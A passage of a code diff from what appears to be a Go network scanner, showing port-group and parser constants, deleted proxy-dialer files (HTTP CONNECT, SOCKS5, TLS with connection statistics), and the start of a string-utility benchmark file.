"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
"database": "1433,1521,3306,5432,6379,11211,27017",
"common": "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986",
}
}
// GetTargetPortGroups 获取目标解析器端口组映射
func GetTargetPortGroups() map[string]string {
return map[string]string{
"service": "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613",
"db": "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616",
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018",
"all": "1-65535",
"main": "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616",
}
}
// =============================================================================
// 验证解析器常量 (从ValidationParser.go迁移)
// =============================================================================
const (
// 验证解析器默认配置
DefaultMaxErrorCount = 100
DefaultStrictMode = false
DefaultAllowEmpty = true
DefaultCheckConflicts = true
DefaultValidateTargets = true
DefaultValidateNetwork = true
// 性能警告阈值
MaxTargetsThreshold = 100000 // 最大目标数量阈值
MinTimeoutThreshold = 1 * time.Second // 最小超时阈值
MaxTimeoutThreshold = 60 * time.Second // 最大超时阈值
)
// =============================================================================
// 错误类型常量
// =============================================================================
const (
// 解析错误类型
ErrorTypeInputError = "INPUT_ERROR"
ErrorTypeFileError = "FILE_ERROR"
ErrorTypeTimeout = "TIMEOUT"
ErrorTypeReadError = "READ_ERROR"
ErrorTypeUsernameError = "USERNAME_ERROR"
ErrorTypePasswordError = "PASSWORD_ERROR"
ErrorTypeHashError = "HASH_ERROR"
ErrorTypeProxyError = "PROXY_ERROR"
ErrorTypeUserAgentError = "USERAGENT_ERROR"
ErrorTypeCookieError = "COOKIE_ERROR"
ErrorTypeHostError = "HOST_ERROR"
ErrorTypePortError = "PORT_ERROR"
ErrorTypeExcludePortError = "EXCLUDE_PORT_ERROR"
)
// =============================================================================
// 编译时正则表达式
// =============================================================================
var (
// 预编译的正则表达式,提高性能
CompiledHashRegex *regexp.Regexp
CompiledIPv4Regex *regexp.Regexp
CompiledPortRegex *regexp.Regexp
CompiledURLRegex *regexp.Regexp
CompiledDomainRegex *regexp.Regexp
CompiledCookieRegex *regexp.Regexp
)
// 在包初始化时编译正则表达式
func init() {
CompiledHashRegex = regexp.MustCompile(HashRegexPattern)
CompiledIPv4Regex = regexp.MustCompile(IPv4RegexPattern)
CompiledPortRegex = regexp.MustCompile(PortRangeRegexPattern)
CompiledURLRegex = regexp.MustCompile(URLValidationRegexPattern)
CompiledDomainRegex = regexp.MustCompile(DomainRegexPattern)
CompiledCookieRegex = regexp.MustCompile(CookieRegexPattern)
}

View File

@ -1,14 +0,0 @@
package proxy
// 已清理未使用的导入
// =============================================================================================
// 已删除的死代码(未使用):
// - ParseProxyURL: 解析代理URL
// - CreateProxyManager: 创建代理管理器
// - ValidateProxyConfig: 验证代理配置
// - GetProxyTypeFromString: 从字符串获取代理类型
// - BuildProxyURL: 构建代理URL
// - IsProxyEnabled: 检查是否启用了代理
// - GetDefaultProxyConfigForType: 获取指定类型的默认配置
// =============================================================================================

View File

@ -1,22 +0,0 @@
package proxy
// 已清理未使用的导入和全局变量
// =============================================================================================
// 已删除的死代码(未使用):
// - globalManager: 全局代理管理器变量
// - globalMutex: 全局互斥锁
// - once: 全局初始化once变量
// - InitGlobalProxy: 初始化全局代理管理器
// - GetGlobalProxy: 获取全局代理管理器
// - UpdateGlobalProxyConfig: 更新全局代理配置
// - CloseGlobalProxy: 关闭全局代理管理器
// - GetGlobalProxyStats: 获取全局代理统计信息
// - DialWithProxy: 使用全局代理拨号
// - DialContextWithProxy: 使用全局代理和上下文拨号
// - DialTLSWithProxy: 使用全局代理建立TLS连接
// - DialTLSContextWithProxy: 使用全局代理和上下文建立TLS连接
// - IsProxyEnabledGlobally: 检查全局是否启用了代理
// - GetGlobalProxyType: 获取全局代理类型
// - GetGlobalProxyAddress: 获取全局代理地址
// =============================================================================================

View File

@ -1,112 +0,0 @@
package proxy
import (
"bufio"
"context"
"encoding/base64"
"fmt"
"net"
"net/http"
"sync/atomic"
"time"
)
// httpDialer HTTP代理拨号器
type httpDialer struct {
config *ProxyConfig
stats *ProxyStats
baseDial *net.Dialer
}
func (h *httpDialer) Dial(network, address string) (net.Conn, error) {
return h.DialContext(context.Background(), network, address)
}
func (h *httpDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&h.stats.TotalConnections, 1)
// 连接到HTTP代理服务器
proxyConn, err := h.baseDial.DialContext(ctx, NetworkTCP, h.config.Address)
if err != nil {
atomic.AddInt64(&h.stats.FailedConnections, 1)
h.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgHTTPConnFailed, ErrCodeHTTPConnFailed, err)
}
// 发送CONNECT请求
if err := h.sendConnectRequest(proxyConn, address); err != nil {
proxyConn.Close()
atomic.AddInt64(&h.stats.FailedConnections, 1)
h.stats.LastError = err.Error()
return nil, err
}
duration := time.Since(start)
h.stats.LastConnectTime = start
atomic.AddInt64(&h.stats.ActiveConnections, 1)
h.updateAverageConnectTime(duration)
return &trackedConn{
Conn: proxyConn,
stats: h.stats,
}, nil
}
// sendConnectRequest 发送HTTP CONNECT请求
func (h *httpDialer) sendConnectRequest(conn net.Conn, address string) error {
// 构建CONNECT请求
req := fmt.Sprintf(HTTPConnectRequestFormat, address, address)
// 添加认证头
if h.config.Username != "" {
auth := base64.StdEncoding.EncodeToString(
[]byte(h.config.Username + AuthSeparator + h.config.Password))
req += fmt.Sprintf(HTTPAuthHeaderFormat, auth)
}
req += HTTPRequestEndFormat
// 设置写超时
if err := conn.SetWriteDeadline(time.Now().Add(h.config.Timeout)); err != nil {
return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetWriteTimeout, ErrCodeHTTPSetWriteTimeout, err)
}
// 发送请求
if _, err := conn.Write([]byte(req)); err != nil {
return NewProxyError(ErrTypeConnection, ErrMsgHTTPSendConnectFail, ErrCodeHTTPSendConnectFail, err)
}
// 设置读超时
if err := conn.SetReadDeadline(time.Now().Add(h.config.Timeout)); err != nil {
return NewProxyError(ErrTypeTimeout, ErrMsgHTTPSetReadTimeout, ErrCodeHTTPSetReadTimeout, err)
}
// 读取响应
resp, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
return NewProxyError(ErrTypeProtocol, ErrMsgHTTPReadRespFailed, ErrCodeHTTPReadRespFailed, err)
}
defer resp.Body.Close()
// 检查响应状态
if resp.StatusCode != HTTPStatusOK {
return NewProxyError(ErrTypeAuth,
fmt.Sprintf(ErrMsgHTTPProxyAuthFailed, resp.StatusCode), ErrCodeHTTPProxyAuthFailed, nil)
}
// 清除deadline
conn.SetDeadline(time.Time{})
return nil
}
// updateAverageConnectTime 更新平均连接时间
func (h *httpDialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if h.stats.AverageConnectTime == 0 {
h.stats.AverageConnectTime = duration
} else {
h.stats.AverageConnectTime = (h.stats.AverageConnectTime + duration) / 2
}
}

View File

@ -1,337 +0,0 @@
package proxy
import (
"context"
"fmt"
"net"
"net/url"
"sync"
"sync/atomic"
"time"
"golang.org/x/net/proxy"
)
// manager 代理管理器实现
type manager struct {
config *ProxyConfig
stats *ProxyStats
mu sync.RWMutex
// 连接池
dialerCache map[string]Dialer
cacheExpiry time.Time
cacheMu sync.RWMutex
}
// NewProxyManager 创建新的代理管理器
func NewProxyManager(config *ProxyConfig) ProxyManager {
if config == nil {
config = DefaultProxyConfig()
}
return &manager{
config: config,
stats: &ProxyStats{
ProxyType: config.Type.String(),
ProxyAddress: config.Address,
},
dialerCache: make(map[string]Dialer),
cacheExpiry: time.Now().Add(DefaultCacheExpiry),
}
}
// GetDialer 获取普通拨号器
func (m *manager) GetDialer() (Dialer, error) {
m.mu.RLock()
config := m.config
m.mu.RUnlock()
switch config.Type {
case ProxyTypeNone:
return m.createDirectDialer(), nil
case ProxyTypeSOCKS5:
return m.createSOCKS5Dialer()
case ProxyTypeHTTP, ProxyTypeHTTPS:
return m.createHTTPDialer()
default:
return nil, NewProxyError(ErrTypeConfig, ErrMsgUnsupportedProxyType, ErrCodeUnsupportedProxyType, nil)
}
}
// GetTLSDialer 获取TLS拨号器
func (m *manager) GetTLSDialer() (TLSDialer, error) {
dialer, err := m.GetDialer()
if err != nil {
return nil, err
}
return &tlsDialerWrapper{
dialer: dialer,
config: m.config,
stats: m.stats,
}, nil
}
// UpdateConfig 更新配置
func (m *manager) UpdateConfig(config *ProxyConfig) error {
if config == nil {
return NewProxyError(ErrTypeConfig, ErrMsgEmptyConfig, ErrCodeEmptyConfig, nil)
}
m.mu.Lock()
defer m.mu.Unlock()
m.config = config
m.stats.ProxyType = config.Type.String()
m.stats.ProxyAddress = config.Address
// 清理缓存
m.cacheMu.Lock()
m.dialerCache = make(map[string]Dialer)
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return nil
}
// Close 关闭管理器
func (m *manager) Close() error {
m.cacheMu.Lock()
defer m.cacheMu.Unlock()
m.dialerCache = make(map[string]Dialer)
return nil
}
// Stats 获取统计信息
func (m *manager) Stats() *ProxyStats {
m.mu.RLock()
defer m.mu.RUnlock()
// 返回副本以避免并发问题
statsCopy := *m.stats
return &statsCopy
}
// createDirectDialer 创建直连拨号器
func (m *manager) createDirectDialer() Dialer {
return &directDialer{
timeout: m.config.Timeout,
stats: m.stats,
}
}
// createSOCKS5Dialer 创建SOCKS5拨号器
func (m *manager) createSOCKS5Dialer() (Dialer, error) {
// 检查缓存
cacheKey := fmt.Sprintf(CacheKeySOCKS5, m.config.Address)
m.cacheMu.RLock()
if time.Now().Before(m.cacheExpiry) {
if cached, exists := m.dialerCache[cacheKey]; exists {
m.cacheMu.RUnlock()
return cached, nil
}
}
m.cacheMu.RUnlock()
// 解析代理地址
proxyURL := fmt.Sprintf(SOCKS5URLFormat, m.config.Address)
if m.config.Username != "" {
proxyURL = fmt.Sprintf(SOCKS5URLAuthFormat,
m.config.Username, m.config.Password, m.config.Address)
}
u, err := url.Parse(proxyURL)
if err != nil {
return nil, NewProxyError(ErrTypeConfig, ErrMsgSOCKS5ParseFailed, ErrCodeSOCKS5ParseFailed, err)
}
// 创建基础拨号器
baseDial := &net.Dialer{
Timeout: m.config.Timeout,
KeepAlive: m.config.KeepAlive,
}
// 创建SOCKS5拨号器
var auth *proxy.Auth
if u.User != nil {
auth = &proxy.Auth{
User: u.User.Username(),
}
if password, hasPassword := u.User.Password(); hasPassword {
auth.Password = password
}
}
socksDialer, err := proxy.SOCKS5(NetworkTCP, u.Host, auth, baseDial)
if err != nil {
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5CreateFailed, ErrCodeSOCKS5CreateFailed, err)
}
dialer := &socks5Dialer{
dialer: socksDialer,
config: m.config,
stats: m.stats,
}
// 更新缓存
m.cacheMu.Lock()
m.dialerCache[cacheKey] = dialer
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return dialer, nil
}
// createHTTPDialer 创建HTTP代理拨号器
func (m *manager) createHTTPDialer() (Dialer, error) {
// 检查缓存
cacheKey := fmt.Sprintf(CacheKeyHTTP, m.config.Address)
m.cacheMu.RLock()
if time.Now().Before(m.cacheExpiry) {
if cached, exists := m.dialerCache[cacheKey]; exists {
m.cacheMu.RUnlock()
return cached, nil
}
}
m.cacheMu.RUnlock()
dialer := &httpDialer{
config: m.config,
stats: m.stats,
baseDial: &net.Dialer{
Timeout: m.config.Timeout,
KeepAlive: m.config.KeepAlive,
},
}
// 更新缓存
m.cacheMu.Lock()
m.dialerCache[cacheKey] = dialer
m.cacheExpiry = time.Now().Add(DefaultCacheExpiry)
m.cacheMu.Unlock()
return dialer, nil
}
// directDialer 直连拨号器
type directDialer struct {
timeout time.Duration
stats *ProxyStats
}
func (d *directDialer) Dial(network, address string) (net.Conn, error) {
return d.DialContext(context.Background(), network, address)
}
func (d *directDialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&d.stats.TotalConnections, 1)
dialer := &net.Dialer{
Timeout: d.timeout,
}
conn, err := dialer.DialContext(ctx, network, address)
duration := time.Since(start)
d.stats.LastConnectTime = start
if err != nil {
atomic.AddInt64(&d.stats.FailedConnections, 1)
d.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgDirectConnFailed, ErrCodeDirectConnFailed, err)
}
atomic.AddInt64(&d.stats.ActiveConnections, 1)
d.updateAverageConnectTime(duration)
return &trackedConn{
Conn: conn,
stats: d.stats,
}, nil
}
// socks5Dialer SOCKS5拨号器
type socks5Dialer struct {
dialer proxy.Dialer
config *ProxyConfig
stats *ProxyStats
}
func (s *socks5Dialer) Dial(network, address string) (net.Conn, error) {
return s.DialContext(context.Background(), network, address)
}
func (s *socks5Dialer) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
start := time.Now()
atomic.AddInt64(&s.stats.TotalConnections, 1)
// 创建一个带超时的上下文
dialCtx, cancel := context.WithTimeout(ctx, s.config.Timeout)
defer cancel()
// 使用goroutine处理拨号以支持取消
connChan := make(chan struct {
conn net.Conn
err error
}, 1)
go func() {
conn, err := s.dialer.Dial(network, address)
select {
case <-dialCtx.Done():
if conn != nil {
conn.Close()
}
case connChan <- struct {
conn net.Conn
err error
}{conn, err}:
}
}()
select {
case <-dialCtx.Done():
atomic.AddInt64(&s.stats.FailedConnections, 1)
s.stats.LastError = dialCtx.Err().Error()
return nil, NewProxyError(ErrTypeTimeout, ErrMsgSOCKS5ConnTimeout, ErrCodeSOCKS5ConnTimeout, dialCtx.Err())
case result := <-connChan:
duration := time.Since(start)
s.stats.LastConnectTime = start
if result.err != nil {
atomic.AddInt64(&s.stats.FailedConnections, 1)
s.stats.LastError = result.err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgSOCKS5ConnFailed, ErrCodeSOCKS5ConnFailed, result.err)
}
atomic.AddInt64(&s.stats.ActiveConnections, 1)
s.updateAverageConnectTime(duration)
return &trackedConn{
Conn: result.conn,
stats: s.stats,
}, nil
}
}
// updateAverageConnectTime 更新平均连接时间
func (d *directDialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if d.stats.AverageConnectTime == 0 {
d.stats.AverageConnectTime = duration
} else {
d.stats.AverageConnectTime = (d.stats.AverageConnectTime + duration) / 2
}
}
func (s *socks5Dialer) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if s.stats.AverageConnectTime == 0 {
s.stats.AverageConnectTime = duration
} else {
s.stats.AverageConnectTime = (s.stats.AverageConnectTime + duration) / 2
}
}

View File

@ -1,157 +0,0 @@
package proxy
import (
"context"
"crypto/tls"
"net"
"sync/atomic"
"time"
)
// tlsDialerWrapper TLS拨号器包装器
type tlsDialerWrapper struct {
dialer Dialer
config *ProxyConfig
stats *ProxyStats
}
func (t *tlsDialerWrapper) Dial(network, address string) (net.Conn, error) {
return t.dialer.Dial(network, address)
}
func (t *tlsDialerWrapper) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
return t.dialer.DialContext(ctx, network, address)
}
func (t *tlsDialerWrapper) DialTLS(network, address string, config *tls.Config) (net.Conn, error) {
return t.DialTLSContext(context.Background(), network, address, config)
}
func (t *tlsDialerWrapper) DialTLSContext(ctx context.Context, network, address string, tlsConfig *tls.Config) (net.Conn, error) {
start := time.Now()
// 首先建立TCP连接
tcpConn, err := t.dialer.DialContext(ctx, network, address)
if err != nil {
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSTCPConnFailed, ErrCodeTLSTCPConnFailed, err)
}
// 创建TLS连接
tlsConn := tls.Client(tcpConn, tlsConfig)
// 设置TLS握手超时
if deadline, ok := ctx.Deadline(); ok {
tlsConn.SetDeadline(deadline)
} else {
tlsConn.SetDeadline(time.Now().Add(t.config.Timeout))
}
// 进行TLS握手
if err := tlsConn.Handshake(); err != nil {
tcpConn.Close()
atomic.AddInt64(&t.stats.FailedConnections, 1)
t.stats.LastError = err.Error()
return nil, NewProxyError(ErrTypeConnection, ErrMsgTLSHandshakeFailed, ErrCodeTLSHandshakeFailed, err)
}
// 清除deadline让上层代码管理超时
tlsConn.SetDeadline(time.Time{})
duration := time.Since(start)
t.updateAverageConnectTime(duration)
return &trackedTLSConn{
trackedConn: &trackedConn{
Conn: tlsConn,
stats: t.stats,
},
isTLS: true,
}, nil
}
// updateAverageConnectTime 更新平均连接时间
func (t *tlsDialerWrapper) updateAverageConnectTime(duration time.Duration) {
// 简单的移动平均
if t.stats.AverageConnectTime == 0 {
t.stats.AverageConnectTime = duration
} else {
t.stats.AverageConnectTime = (t.stats.AverageConnectTime + duration) / 2
}
}
// trackedConn 带统计的连接
type trackedConn struct {
net.Conn
stats *ProxyStats
bytesSent int64
bytesRecv int64
}
func (tc *trackedConn) Read(b []byte) (n int, err error) {
n, err = tc.Conn.Read(b)
if n > 0 {
atomic.AddInt64(&tc.bytesRecv, int64(n))
}
return n, err
}
func (tc *trackedConn) Write(b []byte) (n int, err error) {
n, err = tc.Conn.Write(b)
if n > 0 {
atomic.AddInt64(&tc.bytesSent, int64(n))
}
return n, err
}
func (tc *trackedConn) Close() error {
atomic.AddInt64(&tc.stats.ActiveConnections, -1)
return tc.Conn.Close()
}
// trackedTLSConn 带统计的TLS连接
type trackedTLSConn struct {
*trackedConn
isTLS bool
}
func (ttc *trackedTLSConn) ConnectionState() tls.ConnectionState {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.ConnectionState()
}
return tls.ConnectionState{}
}
func (ttc *trackedTLSConn) Handshake() error {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.Handshake()
}
return nil
}
func (ttc *trackedTLSConn) OCSPResponse() []byte {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.OCSPResponse()
}
return nil
}
func (ttc *trackedTLSConn) PeerCertificates() []*tls.Certificate {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
state := tlsConn.ConnectionState()
var certs []*tls.Certificate
for _, cert := range state.PeerCertificates {
certs = append(certs, &tls.Certificate{
Certificate: [][]byte{cert.Raw},
})
}
return certs
}
return nil
}
func (ttc *trackedTLSConn) VerifyHostname(host string) error {
if tlsConn, ok := ttc.Conn.(*tls.Conn); ok {
return tlsConn.VerifyHostname(host)
}
return nil
}

View File

@ -1,134 +0,0 @@
package proxy
import (
"context"
"crypto/tls"
"net"
"time"
)
// ProxyType 代理类型
type ProxyType int
const (
ProxyTypeNone ProxyType = iota
ProxyTypeHTTP
ProxyTypeHTTPS
ProxyTypeSOCKS5
)
// String 返回代理类型的字符串表示
func (pt ProxyType) String() string {
switch pt {
case ProxyTypeNone:
return ProxyTypeStringNone
case ProxyTypeHTTP:
return ProxyTypeStringHTTP
case ProxyTypeHTTPS:
return ProxyTypeStringHTTPS
case ProxyTypeSOCKS5:
return ProxyTypeStringSOCKS5
default:
return ProxyTypeStringUnknown
}
}
// ProxyConfig 代理配置
type ProxyConfig struct {
Type ProxyType `json:"type"`
Address string `json:"address"`
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
Timeout time.Duration `json:"timeout"`
MaxRetries int `json:"max_retries"`
KeepAlive time.Duration `json:"keep_alive"`
IdleTimeout time.Duration `json:"idle_timeout"`
MaxIdleConns int `json:"max_idle_conns"`
}
// DefaultProxyConfig 返回默认代理配置
func DefaultProxyConfig() *ProxyConfig {
return &ProxyConfig{
Type: ProxyTypeNone,
Timeout: DefaultProxyTimeout,
MaxRetries: DefaultProxyMaxRetries,
KeepAlive: DefaultProxyKeepAlive,
IdleTimeout: DefaultProxyIdleTimeout,
MaxIdleConns: DefaultProxyMaxIdleConns,
}
}
// Dialer 拨号器接口
type Dialer interface {
Dial(network, address string) (net.Conn, error)
DialContext(ctx context.Context, network, address string) (net.Conn, error)
}
// TLSDialer TLS拨号器接口
type TLSDialer interface {
Dialer
DialTLS(network, address string, config *tls.Config) (net.Conn, error)
DialTLSContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error)
}
// ProxyManager 代理管理器接口
type ProxyManager interface {
GetDialer() (Dialer, error)
GetTLSDialer() (TLSDialer, error)
UpdateConfig(config *ProxyConfig) error
Close() error
Stats() *ProxyStats
}
// ProxyStats 代理统计信息
type ProxyStats struct {
TotalConnections int64 `json:"total_connections"`
ActiveConnections int64 `json:"active_connections"`
FailedConnections int64 `json:"failed_connections"`
AverageConnectTime time.Duration `json:"average_connect_time"`
LastConnectTime time.Time `json:"last_connect_time"`
LastError string `json:"last_error,omitempty"`
ProxyType string `json:"proxy_type"`
ProxyAddress string `json:"proxy_address"`
}
// ConnectionInfo 连接信息
type ConnectionInfo struct {
ID string `json:"id"`
RemoteAddr string `json:"remote_addr"`
LocalAddr string `json:"local_addr"`
ProxyAddr string `json:"proxy_addr,omitempty"`
ConnectTime time.Time `json:"connect_time"`
Duration time.Duration `json:"duration"`
BytesSent int64 `json:"bytes_sent"`
BytesRecv int64 `json:"bytes_recv"`
IsTLS bool `json:"is_tls"`
Error string `json:"error,omitempty"`
}
// ProxyError 代理错误类型
type ProxyError struct {
Type string `json:"type"`
Message string `json:"message"`
Code int `json:"code"`
Cause error `json:"cause,omitempty"`
}
func (e *ProxyError) Error() string {
if e.Cause != nil {
return e.Message + ": " + e.Cause.Error()
}
return e.Message
}
// NewProxyError 创建代理错误
func NewProxyError(errType, message string, code int, cause error) *ProxyError {
return &ProxyError{
Type: errType,
Message: message,
Code: code,
Cause: cause,
}
}
// 预定义错误类型已迁移到constants.go

View File

@ -1,179 +0,0 @@
package proxy
import (
"time"
)
/*
constants.go - 代理系统常量定义
统一管理common/proxy包中的所有常量便于查看和编辑
*/
// =============================================================================
// 代理类型常量 (从Types.go迁移)
// =============================================================================
const (
// 代理类型字符串
ProxyTypeStringNone = "none"
ProxyTypeStringHTTP = "http"
ProxyTypeStringHTTPS = "https"
ProxyTypeStringSOCKS5 = "socks5"
ProxyTypeStringUnknown = "unknown"
)
// =============================================================================
// 默认配置常量 (从Types.go迁移)
// =============================================================================
const (
// 默认代理配置值
DefaultProxyTimeout = 30 * time.Second // 默认超时时间
DefaultProxyMaxRetries = 3 // 默认最大重试次数
DefaultProxyKeepAlive = 30 * time.Second // 默认保持连接时间
DefaultProxyIdleTimeout = 90 * time.Second // 默认空闲超时时间
DefaultProxyMaxIdleConns = 10 // 默认最大空闲连接数
)
// =============================================================================
// 错误类型常量 (从Types.go迁移)
// =============================================================================
const (
// 预定义错误类型
ErrTypeConfig = "config_error"
ErrTypeConnection = "connection_error"
ErrTypeAuth = "auth_error"
ErrTypeTimeout = "timeout_error"
ErrTypeProtocol = "protocol_error"
)
// =============================================================================
// 缓存管理常量 (从Manager.go迁移)
// =============================================================================
const (
// 缓存配置
DefaultCacheExpiry = 5 * time.Minute // 默认缓存过期时间
)
// =============================================================================
// 错误代码常量 (从Manager.go和其他文件迁移)
// =============================================================================
const (
// Manager错误代码
ErrCodeUnsupportedProxyType = 1001
ErrCodeEmptyConfig = 1002
// SOCKS5错误代码
ErrCodeSOCKS5ParseFailed = 2001
ErrCodeSOCKS5CreateFailed = 2002
// 直连错误代码
ErrCodeDirectConnFailed = 3001
ErrCodeSOCKS5ConnTimeout = 3002
ErrCodeSOCKS5ConnFailed = 3003
// HTTP代理错误代码
ErrCodeHTTPConnFailed = 4001
ErrCodeHTTPSetWriteTimeout = 4002
ErrCodeHTTPSendConnectFail = 4003
ErrCodeHTTPSetReadTimeout = 4004
ErrCodeHTTPReadRespFailed = 4005
ErrCodeHTTPProxyAuthFailed = 4006
// TLS错误代码
ErrCodeTLSTCPConnFailed = 5001
ErrCodeTLSHandshakeFailed = 5002
)
// =============================================================================
// HTTP协议常量 (从HTTPDialer.go迁移)
// =============================================================================
const (
// HTTP响应状态码
HTTPStatusOK = 200
// HTTP协议常量
HTTPVersion = "HTTP/1.1"
HTTPMethodConnect = "CONNECT"
// HTTP头部常量
HTTPHeaderHost = "Host"
HTTPHeaderProxyAuth = "Proxy-Authorization"
HTTPHeaderAuthBasic = "Basic"
)
// =============================================================================
// 网络协议常量 (从各文件迁移)
// =============================================================================
const (
// 网络协议
NetworkTCP = "tcp"
// 代理协议前缀
ProxyProtocolSOCKS5 = "socks5"
// 认证分隔符
AuthSeparator = ":"
)
// =============================================================================
// 错误消息常量
// =============================================================================
const (
// Manager错误消息
ErrMsgUnsupportedProxyType = "不支持的代理类型"
ErrMsgEmptyConfig = "配置不能为空"
// SOCKS5错误消息
ErrMsgSOCKS5ParseFailed = "SOCKS5代理地址解析失败"
ErrMsgSOCKS5CreateFailed = "SOCKS5拨号器创建失败"
ErrMsgSOCKS5ConnTimeout = "SOCKS5连接超时"
ErrMsgSOCKS5ConnFailed = "SOCKS5连接失败"
// 直连错误消息
ErrMsgDirectConnFailed = "直连失败"
// HTTP代理错误消息
ErrMsgHTTPConnFailed = "连接HTTP代理服务器失败"
ErrMsgHTTPSetWriteTimeout = "设置写超时失败"
ErrMsgHTTPSendConnectFail = "发送CONNECT请求失败"
ErrMsgHTTPSetReadTimeout = "设置读超时失败"
ErrMsgHTTPReadRespFailed = "读取HTTP响应失败"
ErrMsgHTTPProxyAuthFailed = "HTTP代理连接失败状态码: %d"
// TLS错误消息
ErrMsgTLSTCPConnFailed = "建立TCP连接失败"
ErrMsgTLSHandshakeFailed = "TLS握手失败"
)
// =============================================================================
// 缓存键前缀常量 (从Manager.go迁移)
// =============================================================================
const (
// 缓存键前缀
CacheKeySOCKS5 = "socks5_%s"
CacheKeyHTTP = "http_%s"
)
// =============================================================================
// 格式化字符串常量 (从各文件迁移)
// =============================================================================
const (
// SOCKS5 URL格式
SOCKS5URLFormat = "socks5://%s"
SOCKS5URLAuthFormat = "socks5://%s:%s@%s"
// HTTP CONNECT请求格式
HTTPConnectRequestFormat = "CONNECT %s HTTP/1.1\r\nHost: %s\r\n"
HTTPAuthHeaderFormat = "Proxy-Authorization: Basic %s\r\n"
HTTPRequestEndFormat = "\r\n"
)

View File

@ -1,315 +0,0 @@
package utils
import (
"fmt"
"runtime"
"strings"
"testing"
"time"
)
// BenchmarkStringJoinOriginal 原始字符串连接方法
func BenchmarkStringJoinOriginal(b *testing.B) {
slice := make([]string, 100)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
var result string
if len(slice) > 0 {
result = slice[0]
for j := 1; j < len(slice); j++ {
result += "," + slice[j]
}
}
_ = result
}
}
// BenchmarkStringJoinOptimized 优化后的字符串连接方法
func BenchmarkStringJoinOptimized(b *testing.B) {
slice := make([]string, 100)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i)
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := JoinStrings(slice, ",")
_ = result
}
}
// BenchmarkIntJoinOriginal 原始整数连接方法
func BenchmarkIntJoinOriginal(b *testing.B) {
slice := make([]int, 100)
for i := range slice {
slice[i] = i * 10
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
var result string
if len(slice) > 0 {
result = fmt.Sprintf("%d", slice[0])
for j := 1; j < len(slice); j++ {
result += "," + fmt.Sprintf("%d", slice[j])
}
}
_ = result
}
}
// BenchmarkIntJoinOptimized 优化后的整数连接方法
func BenchmarkIntJoinOptimized(b *testing.B) {
slice := make([]int, 100)
for i := range slice {
slice[i] = i * 10
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
result := JoinInts(slice, ",")
_ = result
}
}
// BenchmarkDeduplicateOriginal 原始去重方法
func BenchmarkDeduplicateOriginal(b *testing.B) {
slice := make([]string, 1000)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
}
b.ResetTimer()
for i := 0; i < b.N; i++ {
temp := make(map[string]struct{})
var result []string
for _, item := range slice {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
_ = result
}
}
// BenchmarkDeduplicateOptimized 优化后的去重方法
func BenchmarkDeduplicateOptimized(b *testing.B) {
slice := make([]string, 1000)
for i := range slice {
slice[i] = fmt.Sprintf("item-%d", i%100) // 10倍重复
}
